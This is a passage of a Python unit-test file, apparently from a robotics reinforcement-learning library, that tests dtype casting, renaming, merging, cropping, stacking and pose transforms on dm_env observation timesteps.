processor_type: timestep_preprocessor.TimestepPreprocessor, src_type: Type[np.number], transform_type: Type[np.number], expected_type: Type[np.number]): # Arrange: name = testing_functions.random_string(3) processor = processor_type(transform_type) input_observation_spec = { name: specs.Array(shape=(2,), dtype=src_type, name=name), } expected_observation_spec = { name: specs.Array(shape=(2,), dtype=expected_type, name=name), } input_reward_spec = scalar_array_spec(dtype=src_type, name='reward') expected_reward_spec = scalar_array_spec(dtype=expected_type, name='reward') input_discount_spec = scalar_array_spec(dtype=src_type, name='discount') expected_discount_spec = scalar_array_spec(dtype=expected_type, name='discount') input_timestep_spec = spec_utils.TimeStepSpec( observation_spec=input_observation_spec, reward_spec=input_reward_spec, discount_spec=input_discount_spec) input_timestep = timestep_preprocessor.PreprocessorTimestep( step_type=np.random.choice(list(dm_env.StepType)), reward=src_type(0.1), discount=src_type(0.2), observation={name: np.asarray([0.3, 0.4], dtype=src_type)}, pterm=0.1, result=None) # Act: spec_utils.validate_timestep(input_timestep_spec, input_timestep) output_timestep_spec = processor.setup_io_spec(input_timestep_spec) # Assert: expected_timestep = timestep_preprocessor.PreprocessorTimestep( step_type=input_timestep.step_type, reward=expected_type(0.1), discount=expected_type(0.2), observation={name: np.asarray([0.3, 0.4], dtype=expected_type)}, pterm=input_timestep.pterm, result=None) self.assertEqual(output_timestep_spec.observation_spec, expected_observation_spec) self.assertEqual(output_timestep_spec.reward_spec, expected_reward_spec) self.assertEqual(output_timestep_spec.discount_spec, expected_discount_spec) output_timestep = processor.process(input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal(output_timestep.observation[name], expected_timestep.observation[name]) np.testing.assert_almost_equal(output_timestep.reward, expected_timestep.reward) np.testing.assert_almost_equal(output_timestep.discount, expected_timestep.discount) def testCastPreprocessor_BoundedArray( self, processor_type: timestep_preprocessor.TimestepPreprocessor, src_type: Type[np.number], transform_type: Type[np.number], expected_type: Type[np.number]): """Same as previous test, but using BoundedArray specs.""" # Arrange: name = testing_functions.random_string(3) processor = processor_type(transform_type) input_minimum = np.asarray([0.3, 0.4], dtype=src_type) input_maximum = np.asarray([0.5, 0.6], dtype=src_type) input_observation_spec = { name: specs.BoundedArray( shape=(2,), dtype=src_type, minimum=input_minimum, maximum=input_maximum, name=name), } input_reward_spec = scalar_array_spec(name='reward', dtype=src_type) input_discount_spec = scalar_array_spec(name='discount', dtype=src_type) input_timestep_spec = spec_utils.TimeStepSpec( observation_spec=input_observation_spec, reward_spec=input_reward_spec, discount_spec=input_discount_spec) input_timestep = timestep_preprocessor.PreprocessorTimestep( step_type=np.random.choice(list(dm_env.StepType)), reward=src_type(0.1), discount=src_type(0.2), observation={name: np.asarray([0.4, 0.5], dtype=src_type)}, pterm=0.1, result=None) # Act: spec_utils.validate_timestep(input_timestep_spec, input_timestep) output_timestep_spec = processor.setup_io_spec(input_timestep_spec) # Assert: expected_minimum = np.asarray([0.3, 0.4], dtype=expected_type) expected_maximum = np.asarray([0.5, 0.6], dtype=expected_type) expected_output_observation_spec = { name: specs.BoundedArray( shape=(2,), dtype=expected_type, minimum=expected_minimum, maximum=expected_maximum, name=name), } expected_output_reward_spec = scalar_array_spec( name='reward', dtype=expected_type) expected_output_discount_spec = scalar_array_spec( name='discount', dtype=expected_type) expected_output_timestep = timestep_preprocessor.PreprocessorTimestep( step_type=input_timestep.step_type, reward=expected_type(0.1), discount=expected_type(0.2), observation={name: np.asarray([0.4, 0.5], dtype=expected_type)}, pterm=input_timestep.pterm, result=None) self.assertEqual( set(output_timestep_spec.observation_spec.keys()), set(expected_output_observation_spec.keys())) spec_utils.verify_specs_equal_bounded( output_timestep_spec.observation_spec[name], expected_output_observation_spec[name]) self.assertEqual(output_timestep_spec.reward_spec, expected_output_reward_spec) self.assertEqual(output_timestep_spec.discount_spec, expected_output_discount_spec) output_timestep = processor.process(input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal(output_timestep.observation[name], expected_output_timestep.observation[name]) np.testing.assert_almost_equal(output_timestep.reward, expected_output_timestep.reward) np.testing.assert_almost_equal(output_timestep.discount, expected_output_timestep.discount) def testCastPreprocessor_RewardArray( self, processor_type: timestep_preprocessor.TimestepPreprocessor, src_type: Type[np.number], transform_type: Type[np.number], expected_type: Type[np.number]): # Arrange: name = testing_functions.random_string(3) processor = processor_type(transform_type) input_observation_spec = { name: specs.Array(shape=(2,), dtype=src_type, name=name), } expected_observation_spec = { name: specs.Array(shape=(2,), dtype=expected_type, name=name), } input_reward_spec = specs.Array(shape=(3,), dtype=src_type, name='reward') expected_reward_spec = specs.Array( shape=(3,), dtype=expected_type, name='reward') input_discount_spec = scalar_array_spec(dtype=src_type, name='discount') expected_discount_spec = scalar_array_spec(dtype=expected_type, name='discount') input_timestep_spec = spec_utils.TimeStepSpec( observation_spec=input_observation_spec, reward_spec=input_reward_spec, discount_spec=input_discount_spec) # Some test data that matches the src_type. if np.issubdtype(src_type, np.floating): numbers = (0.1, 0.2, 0.3, 0.4, 0.1) elif np.issubdtype(src_type, np.integer): numbers = (1, 2, 3, 4, 5) else: raise ValueError( 'Only ints and floats are currently supported.') input_timestep = timestep_preprocessor.PreprocessorTimestep( step_type=np.random.choice(list(dm_env.StepType)), reward=numbers[0] * np.ones(shape=(3,), dtype=src_type), discount=src_type(numbers[1]), observation={name: np.asarray(numbers[2:4], dtype=src_type)}, pterm=numbers[4], result=None) # Act: spec_utils.validate_timestep(input_timestep_spec, input_timestep) output_timestep_spec = processor.setup_io_spec(input_timestep_spec) # Assert: expected_timestep = timestep_preprocessor.PreprocessorTimestep( step_type=input_timestep.step_type, reward=numbers[0] * np.ones(shape=(3,), dtype=expected_type), discount=expected_type(numbers[1]), observation={name: np.asarray(numbers[2:4], dtype=expected_type)}, pterm=input_timestep.pterm, result=None) self.assertEqual(output_timestep_spec.observation_spec, expected_observation_spec) self.assertEqual(output_timestep_spec.reward_spec, expected_reward_spec) self.assertEqual(output_timestep_spec.discount_spec, expected_discount_spec) output_timestep = processor.process(input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal(output_timestep.observation[name], expected_timestep.observation[name]) np.testing.assert_almost_equal(output_timestep.reward, expected_timestep.reward) np.testing.assert_almost_equal(output_timestep.discount, expected_timestep.discount) class RenameObservationsTest(absltest.TestCase): def test_rename_observations(self): preprocessor = observation_transforms.RenameObservations( obs_mapping={'foo': 'pow', 'faw': 'biz'}) # Generate the input spec and input timestep input_obs_spec = { 'foo': specs.Array(shape=(2,), dtype=np.float64, name='foo'), 'bar': specs.Array(shape=(2,), dtype=np.float64, name='bar'), 'faw': specs.Array(shape=(2,), dtype=np.float64, name='faw'), } input_spec = _build_unit_timestep_spec(observation_spec=input_obs_spec) input_obs = {'foo': [1., 2.], 'bar': [3., 4.], 'faw': [5., 6.]} input_timestep = dm_env.TimeStep( step_type=dm_env.StepType.MID, reward=_DEFAULT_TYPE(0.1), discount=_DEFAULT_TYPE(0.8), observation=input_obs) # Setup expectations. expected_output_spec = input_spec.replace(observation_spec={ 'pow': specs.Array(shape=(2,), dtype=np.float64, name='pow'), 'bar': specs.Array(shape=(2,), dtype=np.float64, name='bar'), 'biz': specs.Array(shape=(2,), dtype=np.float64, name='biz'), }) # Check the spec output_spec = preprocessor.setup_io_spec(input_spec) self.assertEqual(output_spec.observation_spec, expected_output_spec.observation_spec) # Check the timestep. output_timestep = preprocessor.process(input_timestep) spec_utils.validate_timestep(output_spec, output_timestep) np.testing.assert_array_equal(output_timestep.observation['pow'], [1., 2.]) def test_failure_when_renaming_missing_observations(self): preprocessor = observation_transforms.RenameObservations( obs_mapping={'foo': 'pow', 'faw': 'biz'}) # Generate the input spec and input timestep input_obs_spec = { 'foo': specs.Array(shape=(2,), dtype=np.float64, name='foo'), } input_spec = _build_unit_timestep_spec(observation_spec=input_obs_spec) # Calculating the output spec should fail. with self.assertRaises(observation_transforms.MisconfigurationError): preprocessor.setup_io_spec(input_spec) def test_failure_for_duplicate_rename_targets(self): obs_mapping = {'foo': 'pow', 'bar': 'pow'} # Initialization should fail. with self.assertRaises(observation_transforms.MisconfigurationError): observation_transforms.RenameObservations(obs_mapping) def test_failure_for_conflicting_rename_targets(self): # Create the spec and timestep. preprocessor = observation_transforms.RenameObservations( obs_mapping={'foo': 'pow', 'faw': 'bar'}) # Generate the input spec and input timestep input_obs_spec = { 'foo': specs.Array(shape=(2,), dtype=np.float64, name='foo'), 'faw': specs.Array(shape=(2,), dtype=np.float64, name='faw'), 'bar': specs.Array(shape=(2,), dtype=np.float64, name='bar'), } input_spec = _build_unit_timestep_spec(observation_spec=input_obs_spec) # Calculating the output spec should fail. with self.assertRaises(observation_transforms.MisconfigurationError): preprocessor.setup_io_spec(input_spec) class MergeObservationsTest(absltest.TestCase): def test_merge_observation(self): preprocessor = observation_transforms.MergeObservations( obs_to_merge=['foo', 'bar'], new_obs='baz') # Generate the input spec and input timestep input_obs_spec = { 'foo': specs.Array(shape=(2,), dtype=np.float64, name='foo'), 'bar': specs.Array(shape=(2,), dtype=np.float64, name='bar'), 'faw': specs.Array(shape=(2,), dtype=np.float64, name='faw'), } input_spec = _build_unit_timestep_spec(observation_spec=input_obs_spec) input_obs = {'foo': [1., 2.], 'bar': [3., 4.], 'faw': [3., 4.]} input_timestep = dm_env.TimeStep( step_type=dm_env.StepType.MID, reward=_DEFAULT_TYPE(0.1), discount=_DEFAULT_TYPE(0.8), observation=input_obs) # Setup expectations. expected_output_spec = input_spec.replace(observation_spec={ 'baz': specs.Array(shape=(4,), dtype=np.float64, name='baz'), 'faw': specs.Array(shape=(2,), dtype=np.float64, name='faw') }) # Check the spec output_spec = preprocessor.setup_io_spec(input_spec) self.assertEqual(output_spec.observation_spec, expected_output_spec.observation_spec) # Check the timestep. output_timestep = preprocessor.process(input_timestep) spec_utils.validate_timestep(output_spec, output_timestep) np.testing.assert_array_equal(output_timestep.observation['baz'], [1., 2., 3., 4.]) def test_failure_when_merging_missing_observation(self): preprocessor = observation_transforms.MergeObservations( obs_to_merge=['foo', 'bar'], new_obs='baz') # Generate the input spec input_obs_spec = { 'foo': specs.Array(shape=(2,), dtype=np.float64, name='foo')} input_spec = _build_unit_timestep_spec(observation_spec=input_obs_spec) # Calculating the output spec should fail. with self.assertRaises(observation_transforms.MisconfigurationError): preprocessor.setup_io_spec(input_spec) def test_failure_for_conflicting_new_name(self): preprocessor = observation_transforms.MergeObservations( obs_to_merge=['foo', 'bar'], new_obs='faw') # Generate the input spec and input timestep input_obs_spec = { 'foo': specs.Array(shape=(2,), dtype=np.float64, name='foo'), 'bar': specs.Array(shape=(2,), dtype=np.float64, name='bar'), 'faw': specs.Array(shape=(2,), dtype=np.float64, name='faw'), } input_spec = _build_unit_timestep_spec(observation_spec=input_obs_spec) # Calculating the output spec should fail. with self.assertRaises(observation_transforms.MisconfigurationError): preprocessor.setup_io_spec(input_spec) class CropImageObservationTest(absltest.TestCase): def setUp(self): super().setUp() self._input_obs_name = 'input_obs' self._output_obs_name = 'output_obs' # This has a shape of (4,5) self._input_spec = testing_functions.random_array_spec( shape=(4, 5, 3), dtype=float, name=self._input_obs_name) self._input_observation_spec = {self._input_obs_name: self._input_spec} self._input_obs_value = testing_functions.valid_value(self._input_spec) self._input_timestep_spec = testing_functions.random_timestep_spec( observation_spec=self._input_observation_spec) self._input_timestep = testing_functions.random_timestep( spec=self._input_timestep_spec, observation={self._input_obs_name: self._input_obs_value}) spec_utils.validate_timestep(self._input_timestep_spec, self._input_timestep) def _get_expected_spec(self, value: np.ndarray): return testing_functions.random_array_spec( shape=value.shape, dtype=value.dtype, name=self._output_obs_name) def testFullCrop(self): """Don't modify the input at all.""" processor = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=1.0, crop_height_relative=1.0, x_offset_relative=0.0, y_offset_relative=0.0) expected_value = self._input_obs_value output_timestep_spec = processor.setup_io_spec(self._input_timestep_spec) self.assertIn(self._output_obs_name, output_timestep_spec.observation_spec) spec_utils.verify_specs_equal_unbounded( self._input_spec.replace(name=self._output_obs_name), output_timestep_spec.observation_spec[self._output_obs_name]) output_timestep = processor.process(self._input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal( output_timestep.observation[self._output_obs_name], expected_value) def testCropNoOffset(self): """Crop to a region that is in a corner of the original observation.""" processor = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=0.4, crop_height_relative=0.75, x_offset_relative=0.0, y_offset_relative=0.0) expected_value = self._input_obs_value[:3, :2] output_timestep_spec = processor.setup_io_spec(self._input_timestep_spec) self.assertIn(self._output_obs_name, output_timestep_spec.observation_spec) spec_utils.verify_specs_equal_unbounded( self._get_expected_spec(expected_value), output_timestep_spec.observation_spec[self._output_obs_name]) output_timestep = processor.process(self._input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal( output_timestep.observation[self._output_obs_name], expected_value) def testSquareCropNoOffset(self): """Crop to a region that is in a corner of the original observation. Leaving out the height parameter should default to a square crop. """ processor = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=0.4, x_offset_relative=0.0, y_offset_relative=0.0) expected_value = self._input_obs_value[:2, :2] output_timestep_spec = processor.setup_io_spec(self._input_timestep_spec) self.assertIn(self._output_obs_name, output_timestep_spec.observation_spec) spec_utils.verify_specs_equal_unbounded( self._get_expected_spec(expected_value), output_timestep_spec.observation_spec[self._output_obs_name]) output_timestep = processor.process(self._input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal( output_timestep.observation[self._output_obs_name], expected_value) def testCropWithOffset(self): """Crop to the center of the observation.""" processor = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=0.6, crop_height_relative=0.5, x_offset_relative=0.5, y_offset_relative=0.5) expected_value = self._input_obs_value[1:3, 1:4] output_timestep_spec = processor.setup_io_spec(self._input_timestep_spec) self.assertIn(self._output_obs_name, output_timestep_spec.observation_spec) spec_utils.verify_specs_equal_unbounded( self._get_expected_spec(expected_value), output_timestep_spec.observation_spec[self._output_obs_name]) output_timestep = processor.process(self._input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal( output_timestep.observation[self._output_obs_name], expected_value) def testInvalidParams(self): """Ensure that invalid parameters cause Exceptions.""" # Zero width and height are invalid with self.assertRaisesRegex(ValueError, 'zero'): _ = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=0., crop_height_relative=0., x_offset_relative=0., y_offset_relative=0.) # Negative width is invalid with self.assertRaisesRegex(ValueError, 'width must be between'): _ = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=-1., crop_height_relative=1., x_offset_relative=0., y_offset_relative=0.) # Height > 1.0 is invalid with self.assertRaisesRegex(ValueError, 'height must be between'): _ = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=1., crop_height_relative=1.5, x_offset_relative=0., y_offset_relative=0.) # Offset > 1.0 is invalid with self.assertRaisesRegex(ValueError, 'offset must be between'): _ = observation_transforms.CropImageObservation( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=0.6, crop_height_relative=1., x_offset_relative=1.5, y_offset_relative=0.) class CropSquareAndResizeTest(absltest.TestCase): def setUp(self): super().setUp() self._input_obs_name = 'input_obs' self._output_obs_name = 'output_obs' # This has a shape of (4,5) self._input_spec = testing_functions.random_array_spec( shape=(4, 5), dtype=float, name=self._input_obs_name) self._input_observation_spec = {self._input_obs_name: self._input_spec} self._input_obs_value = testing_functions.valid_value(self._input_spec) self._input_timestep_spec = testing_functions.random_timestep_spec( observation_spec=self._input_observation_spec) self._input_timestep = testing_functions.random_timestep( spec=self._input_timestep_spec, observation={self._input_obs_name: self._input_obs_value}) spec_utils.validate_timestep(self._input_timestep_spec, self._input_timestep) def _get_expected_spec(self, value: np.ndarray): return testing_functions.random_array_spec( shape=value.shape, dtype=value.dtype, name=self._output_obs_name) def testCropNoOffset(self): """Crop to a region that is in a corner of the original observation.""" processor = observation_transforms.CropSquareAndResize( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=0.8, side_length_pixels=4, x_offset_relative=0.0, y_offset_relative=0.0) expected_value = self._input_obs_value[:4, :4] output_timestep_spec = processor.setup_io_spec(self._input_timestep_spec) self.assertIn(self._output_obs_name, output_timestep_spec.observation_spec) spec_utils.verify_specs_equal_unbounded( self._get_expected_spec(expected_value), output_timestep_spec.observation_spec[self._output_obs_name]) output_timestep = processor.process(self._input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal( output_timestep.observation[self._output_obs_name], expected_value) def testScaledCropNoOffset(self): """Crop to a region that is in a corner of the original observation.""" processor = observation_transforms.CropSquareAndResize( input_obs_name=self._input_obs_name, output_obs_name=self._output_obs_name, crop_width_relative=0.8, side_length_pixels=8, x_offset_relative=0.0, y_offset_relative=0.0, interpolation=cv2.INTER_NEAREST) # Nearest neighbor sampling should just duplicate the original pixels expected_value = np.repeat( np.repeat(self._input_obs_value[:4, :4], 2, axis=0), 2, axis=1) output_timestep_spec = processor.setup_io_spec(self._input_timestep_spec) self.assertIn(self._output_obs_name, output_timestep_spec.observation_spec) spec_utils.verify_specs_equal_unbounded( self._get_expected_spec(expected_value), output_timestep_spec.observation_spec[self._output_obs_name]) output_timestep = processor.process(self._input_timestep) spec_utils.validate_timestep(output_timestep_spec, output_timestep) np.testing.assert_almost_equal( output_timestep.observation[self._output_obs_name], expected_value) class PoseRelativeTest(absltest.TestCase): def _check_spec_float_unchanged(self, dtype): preprocessor = observation_transforms.PoseRelativeToEpisodeStart( pos_obs_name='pos', quat_obs_name='quat') # Generate the input spec and input timestep input_obs_spec = { 'pos': specs.Array(shape=(3,), dtype=dtype, name='pos'), 'quat': specs.Array(shape=(4,), dtype=dtype, name='quat'), } input_spec = testing_functions.random_timestep_spec( observation_spec=input_obs_spec) first_input_timestep = testing_functions.random_timestep( spec=input_spec, step_type=dm_env.StepType.FIRST) # Setup expectations. expected_output_spec = input_spec # Check the spec output_spec = preprocessor.setup_io_spec(input_spec) self.assertEqual(output_spec.observation_spec, expected_output_spec.observation_spec) # Check the timestep. output_timestep = preprocessor.process(first_input_timestep) spec_utils.validate_timestep(output_spec, output_timestep) def test_spec_float32_unchanged(self): self._check_spec_float_unchanged(dtype=np.float32) def test_spec_float64_unchanged(self): self._check_spec_float_unchanged(dtype=np.float64) def test_initial_observations(self): preprocessor = observation_transforms.PoseRelativeToEpisodeStart( pos_obs_name='pos', quat_obs_name='quat') # Generate the input spec and input timestep input_obs_spec = { 'pos': specs.Array(shape=(3,), dtype=np.float64, name='pos'), 'quat': specs.Array(shape=(4,), dtype=np.float64, name='quat'), } input_spec = testing_functions.random_timestep_spec( observation_spec=input_obs_spec) input_obs = { 'pos': [1.0, -1.5, 3.2], 'quat': tr.euler_to_quat([0.1, 0.2, 0.3]) } first_input_timestep = testing_functions.random_timestep( spec=input_spec, step_type=dm_env.StepType.FIRST, observation=input_obs) # Setup expectations. expected_output_spec = input_spec # Check the spec output_spec = preprocessor.setup_io_spec(input_spec) self.assertEqual(output_spec.observation_spec, expected_output_spec.observation_spec) # Check the timestep. output_timestep = preprocessor.process(first_input_timestep) spec_utils.validate_timestep(output_spec, output_timestep) output_pos = output_timestep.observation['pos'] np.testing.assert_array_almost_equal(output_pos, [0., 0., 0.]) output_euler = tr.quat_to_euler(output_timestep.observation['quat']) np.testing.assert_array_almost_equal(output_euler, [0., 0., 0.]) def test_relative_observations(self): preprocessor = observation_transforms.PoseRelativeToEpisodeStart( pos_obs_name='pos', quat_obs_name='quat') # Generate the input spec and input timestep input_obs_spec = { 'pos': specs.Array(shape=(3,), dtype=np.float64, name='pos'), 'quat': specs.Array(shape=(4,), dtype=np.float64, name='quat'), } input_spec = testing_functions.random_timestep_spec( observation_spec=input_obs_spec) input_obs = { 'pos': np.array([1.0, -1.5, 3.2]), 'quat': tr.euler_to_quat([0.0, 0.0, 0.0]) } first_input_timestep = testing_functions.random_timestep( spec=input_spec, step_type=dm_env.StepType.FIRST, observation=input_obs) preprocessor.setup_io_spec(input_spec) preprocessor.process(first_input_timestep) pos_offset = np.array([0.1, -0.2, -0.3]) input_obs = { 'pos': (input_obs['pos'] + pos_offset), 'quat': tr.euler_to_quat([0.2, 0.0, 0.0]) } second_input_timestep = testing_functions.random_timestep( spec=input_spec, step_type=dm_env.StepType.MID, observation=input_obs) output_timestep = preprocessor.process(second_input_timestep) output_pos = output_timestep.observation['pos'] np.testing.assert_array_almost_equal(output_pos, pos_offset) output_euler = tr.quat_to_euler(output_timestep.observation['quat']) np.testing.assert_array_almost_equal(output_euler, [0.2, 0., 0.]) class StackObservationsTest(parameterized.TestCase): @parameterized.parameters( (False, (4,), (12,)), (True, (4,), (3, 4)), (False, (1,), (3,)), (True, (1,), (3, 1)), (False, (4, 4), (12, 4)), (True, (4, 4), (3, 4, 4)), ) def test_stack_observations_spec( self, add_leading_dim, input_shape, output_shape): # Generate the input spec and input timestep. input_obs_spec = { 'pos': specs.Array(shape=input_shape, dtype=np.float32, name='pos'), } input_spec = _build_unit_timestep_spec( observation_spec=input_obs_spec) # Generate the expected stacked output spec. expected_output_obs_spec = { 'pos': specs.Array(shape=output_shape, dtype=np.float32, name='pos'), } expected_output_spec = _build_unit_timestep_spec( observation_spec=expected_output_obs_spec) preprocessor = observation_transforms.StackObservations( obs_to_stack=['pos'], stack_depth=3, add_leading_dim=add_leading_dim) output_spec = preprocessor.setup_io_spec(input_spec) self.assertEqual(expected_output_spec, output_spec) @parameterized.parameters( (False, (4,), (12,)), (True, (4,), (3, 4)), (False, (1,), (3,)), (True, (1,), (3, 1)), (False, (4, 4), (12, 4)), (True, (4, 4), (3, 4, 4)), ) def test_stack_observations(self, add_leading_dim, input_shape, output_shape): # Generate the input spec. input_obs_spec = { 'pos': specs.Array(shape=input_shape, dtype=np.float32, name='pos'), } input_spec = _build_unit_timestep_spec( observation_spec=input_obs_spec) preprocessor = observation_transforms.StackObservations( obs_to_stack=['pos'], stack_depth=3, add_leading_dim=add_leading_dim) preprocessor.setup_io_spec(input_spec) input_pos = np.random.random(input_shape).astype(np.float32) if add_leading_dim: expected_output_pos = np.stack([input_pos for _ in range(3)], axis=0) else: expected_output_pos = np.concatenate( [input_pos for _ in range(3)], axis=0) input_timestep = testing_functions.random_timestep( spec=input_spec, step_type=dm_env.StepType.FIRST, observation={'pos': input_pos,}) output_timestep = preprocessor.process(input_timestep) output_pos = output_timestep.observation['pos'] np.testing.assert_allclose(expected_output_pos, output_pos) np.testing.assert_allclose(expected_output_pos.shape, output_shape) class AddObservationTest(absltest.TestCase): def test_no_overwriting(self): preprocessor = observation_transforms.AddObservation( obs_name='pos', obs_callable=lambda _: [1., 1., 1.]) # Generate the input spec and input timestep. input_obs_spec = { 'pos': specs.Array(shape=(3,), dtype=np.float32, name='pos'), 'quat': specs.Array(shape=(4,), dtype=np.float32, name='quat'), } input_spec = testing_functions.random_timestep_spec( observation_spec=input_obs_spec) error_msg = 'Observation pos already exists.' with self.assertRaisesWithLiteralMatch(ValueError, error_msg): preprocessor.setup_io_spec(input_spec) def test_fail_to_run_obs_callable(self): preprocessor = observation_transforms.AddObservation( obs_name='new_obs', obs_callable=lambda timestep: timestep.observation['not_exist']) # Generate the input spec and input timestep. input_obs_spec = { 'pos': specs.Array(shape=(3,), dtype=np.float32, name='pos'), 'quat': specs.Array(shape=(4,), dtype=np.float32, name='quat'), } input_spec = testing_functions.random_timestep_spec( observation_spec=input_obs_spec) # The obs_callable is trying to use an observation named `not_exist` not # present. with self.assertRaisesRegex(KeyError, 'not_exist'): preprocessor.setup_io_spec(input_spec) def test_add_obs_correctly(self): preprocessor = observation_transforms.AddObservation( obs_name='new_obs', obs_callable=lambda _: np.asarray([1., 1., 1.], dtype=np.float32)) # Generate the input spec and input timestep. input_obs_spec = { 'pos': specs.Array(shape=(3,), dtype=np.float32, name='pos'), 'quat': specs.Array(shape=(4,), dtype=np.float32, name='quat'), } input_spec = testing_functions.random_timestep_spec( observation_spec=input_obs_spec) input_obs = { 'pos': np.array([1.0, -1.5, 3.2], dtype=np.float32), 'quat': np.asarray(tr.euler_to_quat([0.1, 0.2, 0.3]), dtype=np.float32) } input_timestep = testing_functions.random_timestep( spec=input_spec, step_type=dm_env.StepType.MID, observation=input_obs) # Setup the expected output specs. expected_observation_spec = input_obs_spec.copy() expected_observation_spec['new_obs'] = ( specs.Array(shape=[3,], dtype=np.float32, name='new_obs')) expected_output_spec = copy.deepcopy(input_spec) # Check the specs. output_spec = preprocessor.setup_io_spec(input_spec) self.assertEqual(output_spec.observation_spec, expected_observation_spec) self.assertEqual(output_spec.reward_spec, expected_output_spec.reward_spec) self.assertEqual(output_spec.discount_spec, expected_output_spec.discount_spec) # Check the timestep. output_timestep = preprocessor.process(input_timestep) spec_utils.validate_timestep(output_spec, output_timestep) output_new_obs = output_timestep.observation['new_obs'] np.testing.assert_array_almost_equal(output_new_obs, [1., 1., 1.]) def test_add_obs_correctly_with_provided_specs(self): new_obs_spec = specs.BoundedArray( shape=(3,), dtype=np.int32, minimum=-1, maximum=3, name='new_obs') preprocessor = observation_transforms.AddObservation( obs_name='new_obs', obs_callable=lambda _: np.array([1, 1, 1], dtype=np.int32), obs_spec=new_obs_spec) # Generate the input spec and input timestep. input_obs_spec = { 'pos': specs.Array(shape=(3,), dtype=np.float32, name='pos'), 'quat': specs.Array(shape=(4,), dtype=np.float32, name='quat'), } input_spec = testing_functions.random_timestep_spec( observation_spec=input_obs_spec) input_obs = { 'pos': np.array([1.0, -1.5, 3.2], dtype=np.float32), 'quat': np.asarray(tr.euler_to_quat([0.1, 0.2, 0.3]), dtype=np.float32) } input_timestep = testing_functions.random_timestep( spec=input_spec, step_type=dm_env.StepType.MID, observation=input_obs) # Setup the expected specs. expected_observation_spec = dict(input_obs_spec) expected_observation_spec['new_obs'] = new_obs_spec expected_output_spec = copy.deepcopy(input_spec) output_spec = preprocessor.setup_io_spec(input_spec) self.assertEqual(output_spec.observation_spec, expected_observation_spec) self.assertEqual(output_spec.reward_spec, expected_output_spec.reward_spec) self.assertEqual(output_spec.discount_spec, expected_output_spec.discount_spec) # Check the timestep. output_timestep = preprocessor.process(input_timestep) spec_utils.validate_timestep(output_spec, output_timestep) output_new_obs = output_timestep.observation['new_obs'] np.testing.assert_array_almost_equal(output_new_obs, [1., 1., 1.]) def _build_unit_timestep_spec( observation_spec: Optional[Mapping[str, specs.Array]] = None, reward_spec: Optional[specs.Array] = None, discount_spec: Optional[specs.BoundedArray] = None): if observation_spec is None: name = 'foo' observation_spec = { name: specs.Array(shape=(2,), dtype=_DEFAULT_TYPE, name=name), } if reward_spec is None: reward_spec = scalar_array_spec(name='reward') if discount_spec is None: discount_spec = scalar_array_spec(name='discount') return spec_utils.TimeStepSpec( observation_spec=observation_spec, reward_spec=reward_spec, discount_spec=discount_spec) if __name__ == '__main__': absltest.main()

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